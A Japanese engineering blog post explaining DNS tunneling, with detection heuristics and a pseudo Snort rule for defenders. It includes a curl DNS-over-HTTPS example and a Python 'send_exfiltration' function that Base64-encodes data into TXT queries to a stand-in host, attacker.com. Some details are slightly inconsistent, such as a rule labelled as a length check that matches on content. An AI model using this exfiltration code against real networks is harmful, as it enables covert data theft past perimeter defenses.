境界防御の盲点「DNSトンネリング」を暴く:パケットの裏側に潜む悪意を読み解く
ネットワークエンジニアとして現場を渡り歩いていると、ファイアウォールのログで「なぜかDNSトラフィックだけが異常に多い」という事態に遭遇することがある。多くの情シス担当者は「DNSだから大丈夫だろう」と高を括るが、そこには現代の攻撃者が愛用する「DNSトンネリング」という深い闇が広がっている。
今日は、教科書の定義をなぞるような話はしない。パケットがネットワークを駆け巡り、名前解決のフリをしてデータを持ち出す、その泥臭い挙動を解剖していこう。
1. DNSトンネリングとは何か:クエリに隠された「密書」
DNSは本来、ホスト名をIPアドレスに変換するためのプロトコルだが、その設計思想は極めてオープンだ。DNSクエリの QNAME(問い合わせ対象のドメイン名)フィールドは、最大255バイトまで使用可能で、ラベルごとに最大63文字の英数字を扱える。
攻撃者はこの仕様を悪用し、外部のC2(コマンド&コントロール)サーバーに向けて、データをBASE64などでエンコードして送信する。
「本来の用途ではない領域」に「任意のデータ」を詰め込む。
これがDNSトンネリングの核心だ。例えば [encoded-data].attacker.com というクエリを投げると、権威DNSサーバーのログにはデータが残り、サーバー側は応答コードの TXT レコードなどに指令を込めて返す。これで、境界防御をすり抜ける双方向通信の完成だ。
2. パケット構造とシーケンスを覗く
DNSトンネリングの通信は、通常のWebトラフィック(HTTP/HTTPS)とは明らかに挙動が異なる。まずはその違和感に気づくことが防御の第一歩だ。
不正な通信フローの解剖
1. エンコード: クライアント側(マルウェア)が、窃取したファイルやコマンド結果をBase64等でエンコードする。
2. クエリ発行: [Base64データ].evil-domain.com という形式で、再帰的なDNSクエリを発行する。
3. 転送: 社内のDNSキャッシュサーバーを経由し、インターネット上の権威サーバーにパケットが届く。
4. レスポンス: サーバー側は、次の指令を TXT や CNAME レコードに含めて返す。
このやり取りを繰り返すことで、低速ながらも確実に「境界を超えた通信」が成立してしまう。
3. 実践:DNSトンネリングを模倣してみる(検証用コード)
論より証拠。実際に curl を使って、DNSクエリにデータを乗せる感覚を体験してみよう。これは攻撃手法の理解を深めるための検証だ。
# クエリとして「secretdata」という文字列を含んだDNS問い合わせを行う
# ※実際の運用環境では絶対に行わないこと
# NSレコードを対象にして、外部サーバーへクエリを飛ばすイメージ
curl -H "Content-Type: application/dns-message" \
"https://8.8.8.8/resolve?name=c2VjcmV0ZGF0YQ.example.com&type=TXT"
また、Pythonで単純なエンコードとクエリ発行を行うプロトタイプは以下のようになる。
import base64
import dns.resolver
def send_exfiltration(data):
# データをBase64化してドメインの一部にする
encoded_data = base64.b64encode(data.encode()).decode().rstrip("=")
query = f"{encoded_data}.attacker.com"
try:
# DNSクエリを実行
answers = dns.resolver.resolve(query, 'TXT')
for rdata in answers:
print(f"サーバーからの応答: {rdata.to_text()}")
except Exception as e:
print(f"エラー発生: {e}")
# 実行例
send_exfiltration("Confidential-Data")
4. 異常検知の勘所:泥臭い監視のテクニック
DNSトンネリングを検知するために、SIEMやIDSの設定で注目すべきは「量」と「形」だ。
- パケット長: 通常のDNSクエリは非常に短い。
QNAMEが頻繁に上限に近い長さ(200バイト以上)になっている場合は警戒が必要だ。 - リクエスト頻度: DNSは本来、一度解決したらキャッシュされる。同一ドメインに対して異常な頻度でクエリが繰り返されるのは、トンネリングの典型的なサインである。
- エントロピー:
QNAMEがランダムな文字列(Base64の塊)で構成されている場合、それは人間が入力したドメイン名ではない。エントロピー計算を行い、値が高いクエリを抽出するフィルタリングは非常に有効だ。
防御のための推奨設定(Snort/Suricataルール例)
DNSトラフィックを監視する際、以下のようなルールをベースに調整を行うのが定石だ。
# DNSクエリの長さが異常に長いものを検知する疑似ルール
alert udp any any -> any 53 (msg:"DNS Tunneling Detected - Large QNAME"; \
dns.query; content:".attacker.com"; depth:255; \
threshold: type both, track by_src, count 100, seconds 60; \
sid:1000001; rev:1;)
5. 最後に:エンジニアが持つべき「疑いの目」
DNSトンネリングは、攻撃者にとって「古くて新しい」手口だ。Web APIの設計やインフラ運用において、APIのエンドポイントばかりに気を取られ、DNSという「地味だが不可欠なインフラ」を無防備に開放していないだろうか?
防御の基本は、「DNSは信頼できる」という性善説を捨て、全てのクエリを「通信経路の可能性がある」と見なすことだ。
- DNS Firewallの導入: 不審なドメインへの問い合わせを遮断する。
- DNSフィルタリング: 特定のドメインへの大量クエリを抑制する。
- ログの相関分析: DNSログとプロキシログを紐付け、異常な通信パターンを炙り出す。
技術は常に進化するが、攻撃者のアプローチは往々にして枯れた技術の隙間を突いてくる。パケットの深層に潜む悪意を暴くのは、いつだってツールではなく、我々エンジニアの「違和感」なのだ。
現場の運用に、少しの疑念と、確かな監視の目を。それが、あなたのネットワークを守る最高の盾になる。
コメント